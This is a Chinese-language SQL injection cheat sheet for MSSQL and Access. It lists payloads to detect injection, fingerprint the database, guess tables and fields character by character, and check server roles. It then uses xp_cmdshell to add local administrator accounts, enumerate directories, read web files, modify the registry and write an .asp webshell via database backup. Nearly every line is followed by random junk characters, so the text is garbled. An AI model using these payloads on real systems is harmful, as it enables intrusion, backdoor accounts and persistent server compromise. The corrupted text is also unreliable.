1.判断是否有注入;and 1=1 ;and 1=2 '1T v1
2.初步判断是否是mssql ;and user>0 =GS_ G;Dz
-wHGi
3.注入参数是字符'and [查询条件] and ''=' uX5B>32
x+j/v5
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5D@Q1
r?{LQWP>e
5.判断数据库系统 ri.|EmH2:D
Y&:\s8C
;and (select count(*) from sysobjects)>0 mssql }jy7,+
Bf}0'MK8zQ
;and (select count(*) from msysobjects)>0 access r-DD*'R
4xC6#:8
j1C0LP8
!7Q.w/|=
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9"v ox
JL*]9$o
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 O9 r44ww
?Pf
,5=*B
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 OaVL NA^{
<@2?2l+`X
9.(1)猜字段的ascii值(access) _rWXcK3cjr
tbt9V2U:"n
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 _3?xIT
:zTj"P>"I
(2)猜字段的ascii值(mssql) J'oz P^N
I,q~*d
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
TOP'Bmb
m*WEge*$t
10.测试权限结构(mssql) NomK(%8m$
,wy:RVv@e
~1z8G>R
W;j)ux7jMY
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ntUVhIE0
Ts *'f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6v#sq
s`#j8>`M
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- qdnNapWnc
nFOG=>c}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ~wV98u-N
vTa23YDW
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]-]@=qYu
I(eR3d:
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1>*<K/\qg
2/NWWoKw
;and 1=(select IS_MEMBER('db_owner'));-- #rL@
W8/6
7
@Qlp$[F
Nr7.BDA
11.添加mssql和系统的帐户 l`G:@}P>G
oieLh"$
;exec master.dbo.sp_addlogin username;-- ^hTJp{
;exec master.dbo.sp_password null,username,password;-- p_y*-,W
(
tg4&j$
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ph. :~n>z
$BN+SD!
;exec master.dbo.xp_cmdshell 'net user username password eHZl-|-
;(Va_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?~9X:~6\
uy28=BE
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8i~'~/x
w6Ny>(T/
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0L-g'^nn
(3S/"ZE
VZl0)YLK
*/qc%!YV9
12.(1)遍历目录 aYX '&k
`
?-p aM5Q+
;create table dirs(paths varchar(100), id int) u+I3VK_)
c_=zd6 b$S
;insert dirs exec master.dbo.xp_dirtree 'c:\'
MO+0]uh:
,l"2MXD
;and (select top 1 paths from dirs)>0 %6?}gc_
P?-44m#
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) e=$xn3)McY
!I
P*
s_+XSH[=f
~d8o,.n`1
(2)遍历目录 agot
(
PhdL@Mr
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- BAed [
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 _Xe< JJvq
^W*)3;5
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 FX%E7H
:jCaDhK
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?XrTZ{5'
TUCpmj
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2o}FB\4^i
7i\[Q8f
5Wjp_^!e
uU"s50m
13.mssql中的存储过程 6!m#_z8qG3
p{GDW_
xp_regenumvalues 注册表根键, 子键 FV,SA3
mjc:0hH
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2)]*re)
[^P2Kn
xp_regread 根键,子键,键值名 {[#
k82LCV+6
;exec xp_regread "6h.6_bTw
7t/SZm
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g#NUo/
*]u/,wCB
xp_regwrite 根键,子键, 值名, 值类型, 值 eHIC'b.
<<6#Uz.1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 @1X1E 2:
[#H8Mb+7
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ~)(Dm+vZ
q|\Cp
xp_regdeletevalue 根键,子键,值名 a2n#T,kq&
6n g9 o6
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,\"gN5[$(
yFv3>\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 =-Tetp
.v!e=i}.
X ^)5O>>|t
,bg#pG!x Q
14.mssql的backup创建webshell ]>j_
Y,
-': tpJk
use model BGOI
YkbLf#2AE|
create table cmd(str image); KO7cZME
H2-(
insert into cmd(str) values (''); P]^]
T}5
4(]('[M
backup database model to disk='c:\l.asp'; HX^
P9jXT
^4i3 #}
CdjGYS
w?"l4.E%
15.mssql内置函数 ->UrWW^
v.J#d>tvf
;and (select @@version)>0 获得Windows的版本号 ~KvCb3~X
$'w l{D"
;and user_name()='dbo' 判断当前系统的连接用户是不是sa X[}%iEWzT
ponvi42u
;and (select user_name())>0 爆当前系统的连接用户 (d\bSo$]
Vh&KfYY
;and (select db_name())>0 得到当前连接的数据库 |M&/(0
>Li?@+Zl
-tJ*F!w6U
?U[AE -*
16.简洁的webshell UNae&Zir
2sH5<5G'
use model .`9KB3
Mf"B!WU>]B
create table cmd(str image); stScz#!
9IMcp~zX
insert into cmd(str) values (''); e)8iPu ..
)kUw,F=6
backup database model to disk='g:\wwwtest\l.asp';